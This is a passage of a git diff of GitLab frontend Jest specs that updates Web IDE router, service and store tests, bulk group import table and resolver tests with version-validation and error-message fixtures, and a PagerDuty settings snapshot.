vm.$store.state.rightPane.isOpen = true;
await vm.$nextTick();
expect(updateDimensionsSpy).toHaveBeenCalledTimes(1);
- expect(updateDiffViewSpy).toHaveBeenCalledTimes(1);
vm.$store.state.rightPane.isOpen = false;
await vm.$nextTick();
expect(updateDimensionsSpy).toHaveBeenCalledTimes(2);
- expect(updateDiffViewSpy).toHaveBeenCalledTimes(2);
});
});
@@ -447,7 +430,11 @@ describe('RepoEditor', () => {
activeFile: dummyFile.markdown,
});
- updateDimensionsSpy = jest.spyOn(vm.editor, 'updateDimensions');
+ const ext = extensionsStore.get('EditorWebIde');
+ updateDimensionsSpy = jest.fn();
+ spyOnApi(ext, {
+ updateDimensions: updateDimensionsSpy,
+ });
changeViewMode(FILE_VIEW_MODE_PREVIEW);
await vm.$nextTick();
diff --git a/spec/frontend/ide/ide_router_spec.js b/spec/frontend/ide/ide_router_spec.js
index 3fb7781b176..cd10812f8ea 100644
--- a/spec/frontend/ide/ide_router_spec.js
+++ b/spec/frontend/ide/ide_router_spec.js
@@ -6,6 +6,7 @@ describe('IDE router', () => {
const PROJECT_NAMESPACE = 'my-group/sub-group';
const PROJECT_NAME = 'my-project';
const TEST_PATH = `/project/${PROJECT_NAMESPACE}/${PROJECT_NAME}/merge_requests/2`;
+ const DEFAULT_BRANCH = 'default-main';
let store;
let router;
@@ -13,34 +14,46 @@ describe('IDE router', () => {
beforeEach(() => {
window.history.replaceState({}, '', '/');
store = createStore();
- router = createRouter(store);
+ router = createRouter(store, DEFAULT_BRANCH);
jest.spyOn(store, 'dispatch').mockReturnValue(new Promise(() => {}));
});
- [
- `/project/${PROJECT_NAMESPACE}/${PROJECT_NAME}/tree/main/-/src/blob/`,
- `/project/${PROJECT_NAMESPACE}/${PROJECT_NAME}/tree/main/-/src/blob`,
- `/project/${PROJECT_NAMESPACE}/${PROJECT_NAME}/tree/blob/-/src/blob`,
- `/project/${PROJECT_NAMESPACE}/${PROJECT_NAME}/tree/main/-/src/tree/`,
- `/project/${PROJECT_NAMESPACE}/${PROJECT_NAME}/tree/weird:branch/name-123/-/src/tree/`,
- `/project/${PROJECT_NAMESPACE}/${PROJECT_NAME}/blob/main/-/src/blob`,
- `/project/${PROJECT_NAMESPACE}/${PROJECT_NAME}/blob/main/-/src/edit`,
- `/project/${PROJECT_NAMESPACE}/${PROJECT_NAME}/blob/main/-/src/merge_requests/2`,
- `/project/${PROJECT_NAMESPACE}/${PROJECT_NAME}/blob/blob/-/src/blob`,
- `/project/${PROJECT_NAMESPACE}/${PROJECT_NAME}/edit/blob/-/src/blob`,
- `/project/${PROJECT_NAMESPACE}/${PROJECT_NAME}/merge_requests/2`,
- `/project/${PROJECT_NAMESPACE}/${PROJECT_NAME}/tree/blob`,
- `/project/${PROJECT_NAMESPACE}/${PROJECT_NAME}/edit`,
- `/project/${PROJECT_NAMESPACE}/${PROJECT_NAME}`,
- ].forEach((route) => {
- it(`finds project path when route is "${route}"`, () => {
- router.push(route);
-
- expect(store.dispatch).toHaveBeenCalledWith('getProjectData', {
- namespace: PROJECT_NAMESPACE,
- projectId: PROJECT_NAME,
- });
+ it.each`
+ route | expectedBranchId | expectedBasePath
+ ${`/project/${PROJECT_NAMESPACE}/${PROJECT_NAME}/tree/main/-/src/blob/`} | ${'main'} | ${'src/blob/'}
+ ${`/project/${PROJECT_NAMESPACE}/${PROJECT_NAME}/tree/main/-/src/blob`} | ${'main'} | ${'src/blob'}
+ ${`/project/${PROJECT_NAMESPACE}/${PROJECT_NAME}/tree/blob/-/src/blob`} | ${'blob'} | ${'src/blob'}
+ ${`/project/${PROJECT_NAMESPACE}/${PROJECT_NAME}/tree/main/-/src/tree/`} | ${'main'} | ${'src/tree/'}
+ ${`/project/${PROJECT_NAMESPACE}/${PROJECT_NAME}/tree/weird:branch/name-123/-/src/tree/`} | ${'weird:branch/name-123'} | ${'src/tree/'}
+ ${`/project/${PROJECT_NAMESPACE}/${PROJECT_NAME}/blob/main/-/src/blob`} | ${'main'} | ${'src/blob'}
+ ${`/project/${PROJECT_NAMESPACE}/${PROJECT_NAME}/blob/main/-/src/edit`} | ${'main'} | ${'src/edit'}
+ ${`/project/${PROJECT_NAMESPACE}/${PROJECT_NAME}/blob/main/-/src/merge_requests/2`} | ${'main'} | ${'src/merge_requests/2'}
+ ${`/project/${PROJECT_NAMESPACE}/${PROJECT_NAME}/blob/blob/-/src/blob`} | ${'blob'} | ${'src/blob'}
+ ${`/project/${PROJECT_NAMESPACE}/${PROJECT_NAME}/edit/blob/-/src/blob`} | ${'blob'} | ${'src/blob'}
+ ${`/project/${PROJECT_NAMESPACE}/${PROJECT_NAME}/tree/blob`} | ${'blob'} | ${''}
+ ${`/project/${PROJECT_NAMESPACE}/${PROJECT_NAME}/edit`} | ${DEFAULT_BRANCH} | ${''}
+ ${`/project/${PROJECT_NAMESPACE}/${PROJECT_NAME}`} | ${DEFAULT_BRANCH} | ${''}
+ `('correctly opens Web IDE for $route', ({ route, expectedBranchId, expectedBasePath } = {}) => {
+ router.push(route);
+
+ expect(store.dispatch).toHaveBeenCalledWith('openBranch', {
+ projectId: `${PROJECT_NAMESPACE}/${PROJECT_NAME}`,
+ branchId: expectedBranchId,
+ basePath: expectedBasePath,
+ });
+ });
+
+ it('correctly opens an MR', () => {
+ const expectedId = '2';
+
+ router.push(`/project/${PROJECT_NAMESPACE}/${PROJECT_NAME}/merge_requests/${expectedId}`);
+
+ expect(store.dispatch).toHaveBeenCalledWith('openMergeRequest', {
+ projectId: `${PROJECT_NAMESPACE}/${PROJECT_NAME}`,
+ mergeRequestId: expectedId,
+ targetProjectId: undefined,
});
+ expect(store.dispatch).not.toHaveBeenCalledWith('openBranch');
});
it('keeps router in sync when store changes', async () => {
diff --git a/spec/frontend/ide/services/index_spec.js b/spec/frontend/ide/services/index_spec.js
index eacf1244d55..0fab828dfb3 100644
--- a/spec/frontend/ide/services/index_spec.js
+++ b/spec/frontend/ide/services/index_spec.js
@@ -6,7 +6,7 @@ import dismissUserCallout from '~/graphql_shared/mutations/dismiss_user_callout.
import services from '~/ide/services';
import { query, mutate } from '~/ide/services/gql';
import { escapeFileUrl } from '~/lib/utils/url_utility';
-import ciConfig from '~/pipeline_editor/graphql/queries/ci_config.graphql';
+import ciConfig from '~/pipeline_editor/graphql/queries/ci_config.query.graphql';
import { projectData } from '../mock_data';
jest.mock('~/api');
@@ -216,29 +216,6 @@ describe('IDE services', () => {
);
});
- describe('getProjectData', () => {
- it('combines gql and API requests', () => {
- const gqlProjectData = {
- userPermissions: {
- bogus: true,
- },
- };
- Api.project.mockReturnValue(Promise.resolve({ data: { ...projectData } }));
- query.mockReturnValue(Promise.resolve({ data: { project: gqlProjectData } }));
-
- return services.getProjectData(TEST_NAMESPACE, TEST_PROJECT).then((response) => {
- expect(response).toEqual({ data: { ...projectData, ...gqlProjectData } });
- expect(Api.project).toHaveBeenCalledWith(TEST_PROJECT_ID);
- expect(query).toHaveBeenCalledWith({
- query: getIdeProject,
- variables: {
- projectPath: TEST_PROJECT_ID,
- },
- });
- });
- });
- });
-
describe('getFiles', () => {
let mock;
let relativeUrlRoot;
@@ -330,4 +307,38 @@ describe('IDE services', () => {
});
});
});
+
+ describe('getProjectPermissionsData', () => {
+ const TEST_PROJECT_PATH = 'foo/bar';
+
+ it('queries for the project permissions', () => {
+ const result = { data: { project: projectData } };
+ query.mockResolvedValue(result);
+
+ return services.getProjectPermissionsData(TEST_PROJECT_PATH).then((data) => {
+ expect(data).toEqual(result.data.project);
+ expect(query).toHaveBeenCalledWith(
+ expect.objectContaining({
+ query: getIdeProject,
+ variables: { projectPath: TEST_PROJECT_PATH },
+ }),
+ );
+ });
+ });
+
+ it('converts the returned GraphQL id to the regular ID number', () => {
+ const projectId = 2;
+ const gqlProjectData = {
+ id: `gid://gitlab/Project/${projectId}`,
+ userPermissions: {
+ bogus: true,
+ },
+ };
+
+ query.mockResolvedValue({ data: { project: gqlProjectData } });
+ return services.getProjectPermissionsData(TEST_PROJECT_PATH).then((data) => {
+ expect(data.id).toBe(projectId);
+ });
+ });
+ });
});
diff --git a/spec/frontend/ide/stores/actions/project_spec.js b/spec/frontend/ide/stores/actions/project_spec.js
index ca6f7169059..e07dcf22860 100644
--- a/spec/frontend/ide/stores/actions/project_spec.js
+++ b/spec/frontend/ide/stores/actions/project_spec.js
@@ -2,9 +2,12 @@ import MockAdapter from 'axios-mock-adapter';
import { useMockLocationHelper } from 'helpers/mock_window_location_helper';
import testAction from 'helpers/vuex_action_helper';
import api from '~/api';
+import createFlash from '~/flash';
import service from '~/ide/services';
import { createStore } from '~/ide/stores';
import {
+ setProject,
+ fetchProjectPermissions,
refreshLastCommitData,
showBranchNotFoundError,
createNewBranchFromDefault,
@@ -13,8 +16,12 @@ import {
loadFile,
loadBranch,
} from '~/ide/stores/actions';
+import { logError } from '~/lib/logger';
import axios from '~/lib/utils/axios_utils';
+jest.mock('~/flash');
+jest.mock('~/lib/logger');
+
const TEST_PROJECT_ID = 'abc/def';
describe('IDE store project actions', () => {
@@ -34,6 +41,92 @@ describe('IDE store project actions', () => {
mock.restore();
});
+ describe('setProject', () => {
+ const project = { id: 'foo', path_with_namespace: TEST_PROJECT_ID };
+ const baseMutations = [
+ {
+ type: 'SET_PROJECT',
+ payload: {
+ projectPath: TEST_PROJECT_ID,
+ project,
+ },
+ },
+ {
+ type: 'SET_CURRENT_PROJECT',
+ payload: TEST_PROJECT_ID,
+ },
+ ];
+
+ it.each`
+ desc | payload | expectedMutations
+ ${'does not commit any action if project is not passed'} | ${undefined} | ${[]}
+ ${'commits correct actions in the correct order by default'} | ${{ project }} | ${[...baseMutations]}
+ `('$desc', async ({ payload, expectedMutations } = {}) => {
+ await testAction({
+ action: setProject,
+ payload,
+ state: store.state,
+ expectedMutations,
+ expectedActions: [],
+ });
+ });
+ });
+
+ describe('fetchProjectPermissions', () => {
+ const permissionsData = {
+ userPermissions: {
+ bogus: true,
+ },
+ };
+ const permissionsMutations = [
+ {
+ type: 'UPDATE_PROJECT',
+ payload: {
+ projectPath: TEST_PROJECT_ID,
+ props: {
+ ...permissionsData,
+ },
+ },
+ },
+ ];
+
+ let spy;
+
+ beforeEach(() => {
+ spy = jest.spyOn(service, 'getProjectPermissionsData');
+ });
+
+ afterEach(() => {
+ createFlash.mockRestore();
+ });
+
+ it.each`
+ desc | projectPath | responseSuccess | expectedMutations
+ ${'does not fetch permissions if project does not exist'} | ${undefined} | ${true} | ${[]}
+ ${'fetches permission when project is specified'} | ${TEST_PROJECT_ID} | ${true} | ${[...permissionsMutations]}
+ ${'flashes an error if the request fails'} | ${TEST_PROJECT_ID} | ${false} | ${[]}
+ `('$desc', async ({ projectPath, expectedMutations, responseSuccess } = {}) => {
+ store.state.currentProjectId = projectPath;
+ if (responseSuccess) {
+ spy.mockResolvedValue(permissionsData);
+ } else {
+ spy.mockRejectedValue();
+ }
+
+ await testAction({
+ action: fetchProjectPermissions,
+ state: store.state,
+ expectedMutations,
+ expectedActions: [],
+ });
+
+ if (!responseSuccess) {
+ expect(logError).toHaveBeenCalled();
+ expect(createFlash).toHaveBeenCalled();
+ }
+ });
+ });
+
describe('refreshLastCommitData', () => {
beforeEach(() => {
store.state.currentProjectId = 'abc/def';
diff --git a/spec/frontend/ide/stores/mutations/project_spec.js b/spec/frontend/ide/stores/mutations/project_spec.js
index b3ce39c33d2..0fdd7798f00 100644
--- a/spec/frontend/ide/stores/mutations/project_spec.js
+++ b/spec/frontend/ide/stores/mutations/project_spec.js
@@ -3,21 +3,48 @@ import state from '~/ide/stores/state';
describe('Multi-file store branch mutations', () => {
let localState;
+ const nonExistentProj = 'nonexistent';
+ const existingProj = 'abcproject';
beforeEach(() => {
localState = state();
- localState.projects = { abcproject: { empty_repo: true } };
+ localState.projects = { [existingProj]: { empty_repo: true } };
});
describe('TOGGLE_EMPTY_STATE', () => {
it('sets empty_repo for project to passed value', () => {
- mutations.TOGGLE_EMPTY_STATE(localState, { projectPath: 'abcproject', value: false });
+ mutations.TOGGLE_EMPTY_STATE(localState, { projectPath: existingProj, value: false });
- expect(localState.projects.abcproject.empty_repo).toBe(false);
+ expect(localState.projects[existingProj].empty_repo).toBe(false);
- mutations.TOGGLE_EMPTY_STATE(localState, { projectPath: 'abcproject', value: true });
+ mutations.TOGGLE_EMPTY_STATE(localState, { projectPath: existingProj, value: true });
- expect(localState.projects.abcproject.empty_repo).toBe(true);
+ expect(localState.projects[existingProj].empty_repo).toBe(true);
+ });
+ });
+
+ describe('UPDATE_PROJECT', () => {
+ it.each`
+ desc | projectPath | props | expectedProps
+ ${'extends existing project with the passed props'} | ${existingProj} | ${{ foo1: 'bar' }} | ${{ foo1: 'bar' }}
+ ${'overrides existing props on the exsiting project'} | ${existingProj} | ${{ empty_repo: false }} | ${{ empty_repo: false }}
+ ${'does nothing if the project does not exist'} | ${nonExistentProj} | ${{ foo2: 'bar' }} | ${undefined}
+ ${'does nothing if project is not passed'} | ${undefined} | ${{ foo3: 'bar' }} | ${undefined}
+ ${'does nothing if the props are not passed'} | ${existingProj} | ${undefined} | ${{}}
+ ${'does nothing if the props are empty'} | ${existingProj} | ${{}} | ${{}}
+ `('$desc', ({ projectPath, props, expectedProps } = {}) => {
+ const origProject = localState.projects[projectPath];
+
+ mutations.UPDATE_PROJECT(localState, { projectPath, props });
+
+ if (!expectedProps) {
+ expect(localState.projects[projectPath]).toBeUndefined();
+ } else {
+ expect(localState.projects[projectPath]).toEqual({
+ ...origProject,
+ ...expectedProps,
+ });
+ }
});
});
});
diff --git a/spec/frontend/import_entities/components/pagination_bar_spec.js b/spec/frontend/import_entities/components/pagination_bar_spec.js
deleted file mode 100644
index 163ce11a8db..00000000000
--- a/spec/frontend/import_entities/components/pagination_bar_spec.js
+++ /dev/null
@@ -1,92 +0,0 @@
-import { GlPagination, GlDropdown, GlDropdownItem } from '@gitlab/ui';
-import { mount } from '@vue/test-utils';
-import PaginationBar from '~/import_entities/components/pagination_bar.vue';
-import PaginationLinks from '~/vue_shared/components/pagination_links.vue';
-
-describe('Pagination bar', () => {
- const DEFAULT_PROPS = {
- pageInfo: {
- total: 50,
- page: 1,
- perPage: 20,
- },
- itemsCount: 17,
- };
- let wrapper;
-
- const createComponent = (propsData) => {
- wrapper = mount(PaginationBar, {
- propsData: {
- ...DEFAULT_PROPS,
- ...propsData,
- },
- });
- };
-
- afterEach(() => {
- wrapper.destroy();
- });
-
- describe('events', () => {
- beforeEach(() => {
- createComponent();
- });
-
- it('emits set-page event when page is selected', () => {
- const NEXT_PAGE = 3;
- // PaginationLinks uses prop instead of event for handling page change
- // So we go one level deep to test this
- wrapper
- .findComponent(PaginationLinks)
- .findComponent(GlPagination)
- .vm.$emit('input', NEXT_PAGE);
- expect(wrapper.emitted('set-page')).toEqual([[NEXT_PAGE]]);
- });
-
- it('emits set-page-size event when page size is selected', () => {
- const firstItemInPageSizeDropdown = wrapper.findComponent(GlDropdownItem);
- firstItemInPageSizeDropdown.vm.$emit('click');
-
- const [emittedPageSizeChange] = wrapper.emitted('set-page-size')[0];
- expect(firstItemInPageSizeDropdown.text()).toMatchInterpolatedText(
- `${emittedPageSizeChange} items per page`,
- );
- });
- });
-
- it('renders current page size', () => {
- const CURRENT_PAGE_SIZE = 40;
-
- createComponent({
- pageInfo: {
- ...DEFAULT_PROPS.pageInfo,
- perPage: CURRENT_PAGE_SIZE,
- },
- });
-
- expect(wrapper.find(GlDropdown).find('button').text()).toMatchInterpolatedText(
- `${CURRENT_PAGE_SIZE} items per page`,
- );
- });
-
- it('renders current page information', () => {
- createComponent();
-
- expect(wrapper.find('[data-testid="information"]').text()).toMatchInterpolatedText(
- 'Showing 1 - 17 of 50',
- );
- });
-
- it('renders current page information when total count is over 1000', () => {
- createComponent({
- pageInfo: {
- ...DEFAULT_PROPS.pageInfo,
- total: 1200,
- },
- });
-
- expect(wrapper.find('[data-testid="information"]').text()).toMatchInterpolatedText(
- 'Showing 1 - 17 of 1000+',
- );
- });
-});
diff --git a/spec/frontend/import_entities/import_groups/components/import_table_spec.js b/spec/frontend/import_entities/import_groups/components/import_table_spec.js
index 6e3df21e30a..b17ff2e0f52 100644
--- a/spec/frontend/import_entities/import_groups/components/import_table_spec.js
+++ b/spec/frontend/import_entities/import_groups/components/import_table_spec.js
@@ -1,4 +1,4 @@
-import { GlEmptyState, GlLoadingIcon } from '@gitlab/ui';
+import { GlAlert, GlEmptyState, GlLoadingIcon } from '@gitlab/ui';
import { mount } from '@vue/test-utils';
import Vue, { nextTick } from 'vue';
import VueApollo from 'vue-apollo';
@@ -33,13 +33,23 @@ describe('import table', () => {
generateFakeEntry({ id: 2, status: STATUSES.FINISHED }),
];
const FAKE_PAGE_INFO = { page: 1, perPage: 20, total: 40, totalPages: 2 };
+ const FAKE_VERSION_VALIDATION = {
+ features: {
+ projectMigration: { available: false, minVersion: '14.8.0' },
+ sourceInstanceVersion: '14.6.0',
+ },
+ };
const findImportSelectedButton = () =>
wrapper.findAll('button').wrappers.find((w) => w.text() === 'Import selected');
const findImportButtons = () =>
wrapper.findAll('button').wrappers.filter((w) => w.text() === 'Import');
- const findPaginationDropdown = () => wrapper.find('[aria-label="Page size"]');
+ const findPaginationDropdown = () => wrapper.find('[data-testid="page-size"]');
const findPaginationDropdownText = () => findPaginationDropdown().find('button').text();
+ const findSelectionCount = () => wrapper.find('[data-test-id="selection-count"]');
+
+ const triggerSelectAllCheckbox = () =>
+ wrapper.find('thead input[type=checkbox]').trigger('click');
const selectRow = (idx) =>
wrapper.findAll('tbody td input[type=checkbox]').at(idx).trigger('click');
@@ -104,6 +114,7 @@ describe('import table', () => {
bulkImportSourceGroups: () => ({
nodes: [],
pageInfo: FAKE_PAGE_INFO,
+ versionValidation: FAKE_VERSION_VALIDATION,
}),
});
await waitForPromises();
@@ -117,6 +128,7 @@ describe('import table', () => {
bulkImportSourceGroups: () => ({
nodes: FAKE_GROUPS,
pageInfo: FAKE_PAGE_INFO,
+ versionValidation: FAKE_VERSION_VALIDATION,
}),
});
await waitForPromises();
@@ -129,6 +141,7 @@ describe('import table', () => {
bulkImportSourceGroups: jest.fn().mockResolvedValue({
nodes: [],
pageInfo: FAKE_PAGE_INFO,
+ versionValidation: FAKE_VERSION_VALIDATION,
}),
});
await waitForPromises();
@@ -138,7 +151,11 @@ describe('import table', () => {
it('invokes importGroups mutation when row button is clicked', async () => {
createComponent({
- bulkImportSourceGroups: () => ({ nodes: [FAKE_GROUP], pageInfo: FAKE_PAGE_INFO }),
+ bulkImportSourceGroups: () => ({
+ nodes: [FAKE_GROUP],
+ pageInfo: FAKE_PAGE_INFO,
+ versionValidation: FAKE_VERSION_VALIDATION,
+ }),
});
jest.spyOn(apolloProvider.defaultClient, 'mutate');
@@ -162,7 +179,11 @@ describe('import table', () => {
it('displays error if importing group fails', async () => {
createComponent({
- bulkImportSourceGroups: () => ({ nodes: [FAKE_GROUP], pageInfo: FAKE_PAGE_INFO }),
+ bulkImportSourceGroups: () => ({
+ nodes: [FAKE_GROUP],
+ pageInfo: FAKE_PAGE_INFO,
+ versionValidation: FAKE_VERSION_VALIDATION,
+ }),
importGroups: () => {
throw new Error();
},
@@ -182,9 +203,11 @@ describe('import table', () => {
});
describe('pagination', () => {
- const bulkImportSourceGroupsQueryMock = jest
- .fn()
- .mockResolvedValue({ nodes: [FAKE_GROUP], pageInfo: FAKE_PAGE_INFO });
+ const bulkImportSourceGroupsQueryMock = jest.fn().mockResolvedValue({
+ nodes: [FAKE_GROUP],
+ pageInfo: FAKE_PAGE_INFO,
+ versionValidation: FAKE_VERSION_VALIDATION,
+ });
beforeEach(() => {
createComponent({
@@ -205,7 +228,13 @@ describe('import table', () => {
const otherOption = findPaginationDropdown().findAll('li p').at(1);
expect(otherOption.text()).toMatchInterpolatedText('50 items per page');
+ bulkImportSourceGroupsQueryMock.mockResolvedValue({
+ nodes: [FAKE_GROUP],
+ pageInfo: { ...FAKE_PAGE_INFO, perPage: 50 },
+ versionValidation: FAKE_VERSION_VALIDATION,
+ });
await otherOption.trigger('click');
+
await waitForPromises();
expect(findPaginationDropdownText()).toMatchInterpolatedText('50 items per page');
@@ -234,6 +263,7 @@ describe('import table', () => {
perPage: 20,
totalPages: 2,
},
+ versionValidation: FAKE_VERSION_VALIDATION,
});
wrapper.find(PaginationLinks).props().change(REQUESTED_PAGE);
await waitForPromises();
@@ -243,9 +273,11 @@ describe('import table', () => {
});
describe('filters', () => {
- const bulkImportSourceGroupsQueryMock = jest
- .fn()
- .mockResolvedValue({ nodes: [FAKE_GROUP], pageInfo: FAKE_PAGE_INFO });
+ const bulkImportSourceGroupsQueryMock = jest.fn().mockResolvedValue({
+ nodes: [FAKE_GROUP],
+ pageInfo: FAKE_PAGE_INFO,
+ versionValidation: FAKE_VERSION_VALIDATION,
+ });
beforeEach(() => {
createComponent({
@@ -313,11 +345,28 @@ describe('import table', () => {
});
describe('bulk operations', () => {
+ it('import all button correctly selects/deselects all groups', async () => {
+ createComponent({
+ bulkImportSourceGroups: () => ({
+ nodes: FAKE_GROUPS,
+ pageInfo: FAKE_PAGE_INFO,
+ versionValidation: FAKE_VERSION_VALIDATION,
+ }),
+ });
+ await waitForPromises();
+ expect(findSelectionCount().text()).toMatchInterpolatedText('0 selected');
+ await triggerSelectAllCheckbox();
+ expect(findSelectionCount().text()).toMatchInterpolatedText('2 selected');
+ await triggerSelectAllCheckbox();
+ expect(findSelectionCount().text()).toMatchInterpolatedText('0 selected');
+ });
+
it('import selected button is disabled when no groups selected', async () => {
createComponent({
bulkImportSourceGroups: () => ({
nodes: FAKE_GROUPS,
pageInfo: FAKE_PAGE_INFO,
+ versionValidation: FAKE_VERSION_VALIDATION,
}),
});
await waitForPromises();
@@ -330,6 +379,7 @@ describe('import table', () => {
bulkImportSourceGroups: () => ({
nodes: FAKE_GROUPS,
pageInfo: FAKE_PAGE_INFO,
+ versionValidation: FAKE_VERSION_VALIDATION,
}),
});
await waitForPromises();
@@ -346,6 +396,7 @@ describe('import table', () => {
bulkImportSourceGroups: () => ({
nodes: NEW_GROUPS,
pageInfo: FAKE_PAGE_INFO,
+ versionValidation: FAKE_VERSION_VALIDATION,
}),
});
await waitForPromises();
@@ -368,6 +419,7 @@ describe('import table', () => {
bulkImportSourceGroups: () => ({
nodes: NEW_GROUPS,
pageInfo: FAKE_PAGE_INFO,
+ versionValidation: FAKE_VERSION_VALIDATION,
}),
});
await waitForPromises();
@@ -391,6 +443,7 @@ describe('import table', () => {
bulkImportSourceGroups: () => ({
nodes: NEW_GROUPS,
pageInfo: FAKE_PAGE_INFO,
+ versionValidation: FAKE_VERSION_VALIDATION,
}),
});
jest.spyOn(apolloProvider.defaultClient, 'mutate');
@@ -421,4 +474,38 @@ describe('import table', () => {
});
});
});
+
+ describe('unavailable features warning', () => {
+ it('renders alert when there are unavailable features', async () => {
+ createComponent({
+ bulkImportSourceGroups: () => ({
+ nodes: FAKE_GROUPS,
+ pageInfo: FAKE_PAGE_INFO,
+ versionValidation: FAKE_VERSION_VALIDATION,
+ }),
+ });
+ await waitForPromises();
+
+ expect(wrapper.find(GlAlert).exists()).toBe(true);
+ expect(wrapper.find(GlAlert).text()).toContain('projects (require v14.8.0)');
+ });
+
+ it('does not renders alert when there are no unavailable features', async () => {
+ createComponent({
+ bulkImportSourceGroups: () => ({
+ nodes: FAKE_GROUPS,
+ pageInfo: FAKE_PAGE_INFO,
+ versionValidation: {
+ features: {
+ projectMigration: { available: true, minVersion: '14.8.0' },
+ sourceInstanceVersion: '14.6.0',
+ },
+ },
+ }),
+ });
+ await waitForPromises();
+
+ expect(wrapper.find(GlAlert).exists()).toBe(false);
+ });
+ });
});
diff --git a/spec/frontend/import_entities/import_groups/components/import_target_cell_spec.js b/spec/frontend/import_entities/import_groups/components/import_target_cell_spec.js
index 3c2367e22f5..d3f86672f33 100644
--- a/spec/frontend/import_entities/import_groups/components/import_target_cell_spec.js
+++ b/spec/frontend/import_entities/import_groups/components/import_target_cell_spec.js
@@ -123,13 +123,22 @@ describe('import target cell', () => {
});
describe('when entity is available for import', () => {
+ const FAKE_PROGRESS_MESSAGE = 'progress message';
beforeEach(() => {
- group = generateFakeTableEntry({ id: 1, flags: { isAvailableForImport: true } });
+ group = generateFakeTableEntry({
+ id: 1,
+ flags: { isAvailableForImport: true },
+ progress: { message: FAKE_PROGRESS_MESSAGE },
+ });
createComponent({ group });
});
it('renders namespace dropdown as enabled', () => {
expect(findNamespaceDropdown().attributes('disabled')).toBe(undefined);
});
+
+ it('renders progress message as error if it exists', () => {
+ expect(wrapper.find('[role=alert]').text()).toBe(FAKE_PROGRESS_MESSAGE);
+ });
});
});
diff --git a/spec/frontend/import_entities/import_groups/graphql/client_factory_spec.js b/spec/frontend/import_entities/import_groups/graphql/client_factory_spec.js
index f3447494578..c6ddce17fe4 100644
--- a/spec/frontend/import_entities/import_groups/graphql/client_factory_spec.js
+++ b/spec/frontend/import_entities/import_groups/graphql/client_factory_spec.js
@@ -163,12 +163,34 @@ describe('Bulk import resolvers', () => {
});
describe('mutations', () => {
- beforeEach(() => {
- axiosMockAdapter.onPost(FAKE_ENDPOINTS.createBulkImport).reply(httpStatus.OK, { id: 1 });
- });
+ beforeEach(() => {});
describe('importGroup', () => {
- it('sets import status to CREATED when request completes', async () => {
+ it('sets import status to CREATED for successful groups when request completes', async () => {
+ axiosMockAdapter
+ .onPost(FAKE_ENDPOINTS.createBulkImport)
+ .reply(httpStatus.OK, [{ success: true, id: 1 }]);
+
+ await client.mutate({
+ mutation: importGroupsMutation,
+ variables: {
+ importRequests: [
+ {
+ sourceGroupId: statusEndpointFixture.importable_data[0].id,
+ newName: 'test',
+ targetNamespace: 'root',
+ },
+ ],
+ },
+ });
+
+ await axios.waitForAll();
+ expect(results[0].progress.status).toBe(STATUSES.CREATED);
+ });
+
+ it('sets import status to CREATED for successful groups when request completes with legacy response', async () => {
+ axiosMockAdapter.onPost(FAKE_ENDPOINTS.createBulkImport).reply(httpStatus.OK, { id: 1 });
+
await client.mutate({
mutation: importGroupsMutation,
variables: {
@@ -185,9 +207,37 @@ describe('Bulk import resolvers', () => {
await axios.waitForAll();
expect(results[0].progress.status).toBe(STATUSES.CREATED);
});
+
+ it('sets import status to FAILED and sets progress message for failed groups when request completes', async () => {
+ const FAKE_ERROR_MESSAGE = 'foo';
+ axiosMockAdapter
+ .onPost(FAKE_ENDPOINTS.createBulkImport)
+ .reply(httpStatus.OK, [{ success: false, id: 1, message: FAKE_ERROR_MESSAGE }]);
+
+ await client.mutate({
+ mutation: importGroupsMutation,
+ variables: {
+ importRequests: [
+ {
+ sourceGroupId: statusEndpointFixture.importable_data[0].id,
+ newName: 'test',
+ targetNamespace: 'root',
+ },
+ ],
+ },
+ });
+
+ await axios.waitForAll();
+ expect(results[0].progress.status).toBe(STATUSES.FAILED);
+ expect(results[0].progress.message).toBe(FAKE_ERROR_MESSAGE);
+ });
});
it('updateImportStatus updates status', async () => {
+ axiosMockAdapter
+ .onPost(FAKE_ENDPOINTS.createBulkImport)
+ .reply(httpStatus.OK, [{ success: true, id: 1 }]);
+
const NEW_STATUS = 'dummy';
await client.mutate({
mutation: importGroupsMutation,
@@ -216,6 +266,7 @@ describe('Bulk import resolvers', () => {
expect(statusInResponse).toStrictEqual({
__typename: clientTypenames.BulkImportProgress,
id,
+ message: null,
status: NEW_STATUS,
});
});
diff --git a/spec/frontend/import_entities/import_groups/graphql/fixtures.js b/spec/frontend/import_entities/import_groups/graphql/fixtures.js
index 5f6f9987a8f..ed4e343f331 100644
--- a/spec/frontend/import_entities/import_groups/graphql/fixtures.js
+++ b/spec/frontend/import_entities/import_groups/graphql/fixtures.js
@@ -1,7 +1,7 @@
import { STATUSES } from '~/import_entities/constants';
import { clientTypenames } from '~/import_entities/import_groups/graphql/client_factory';
-export const generateFakeEntry = ({ id, status, ...rest }) => ({
+export const generateFakeEntry = ({ id, status, message, ...rest }) => ({
__typename: clientTypenames.BulkImportSourceGroup,
webUrl: `https://fake.host/${id}`,
fullPath: `fake_group_${id}`,
@@ -18,6 +18,7 @@ export const generateFakeEntry = ({ id, status, ...rest }) => ({
: {
id,
status,
+ message: message || '',
},
...rest,
});
@@ -49,6 +50,12 @@ export const statusEndpointFixture = {
web_url: 'https://gitlab.com/groups/gitlab-examples',
},
],
+ version_validation: {
+ features: {
+ project_migration: { available: false, min_version: '14.8.0' },
+ source_instance_version: '14.6.0',
+ },
+ },
};
export const availableNamespacesFixture = Object.freeze([
diff --git a/spec/frontend/incidents_settings/components/__snapshots__/pagerduty_form_spec.js.snap b/spec/frontend/incidents_settings/components/__snapshots__/pagerduty_form_spec.js.snap
index 2a976c04319..feee14c9c40 100644
--- a/spec/frontend/incidents_settings/components/__snapshots__/pagerduty_form_spec.js.snap
+++ b/spec/frontend/incidents_settings/components/__snapshots__/pagerduty_form_spec.js.snap
@@ -14,6 +14,7 @@ exports[`Alert integration settings form should match the default snapshot 1`] =
<gl-form-group-stub
class="col-8 col-md-9 gl-p-0"
labeldescription=""
+ optionaltext="(optional)"
>
<gl-toggle-stub
id="active"
@@ -28,10 +29,12 @@ exports[`Alert integration settings form should match the default snapshot 1`] =
label="Webhook URL"
label-for="url"
labeldescription=""
+ optionaltext="(optional)"
>
<gl-form-input-group-stub
data-testid="webhook-url"
id="url"
+ inputclass=""
predefinedoptions="[object Object]"
readonly=""
value="pagerduty.webhook.com"
diff --git a/spec/frontend/integrations/edit/components/active_checkbox_spec.js b/spec/frontend/integrations/edit/components/active_checkbox_spec.js
index df7ffd19747..0dc31616166 100644
--- a/spec/frontend/integrations/edit/components/active_checkbox_spec.js
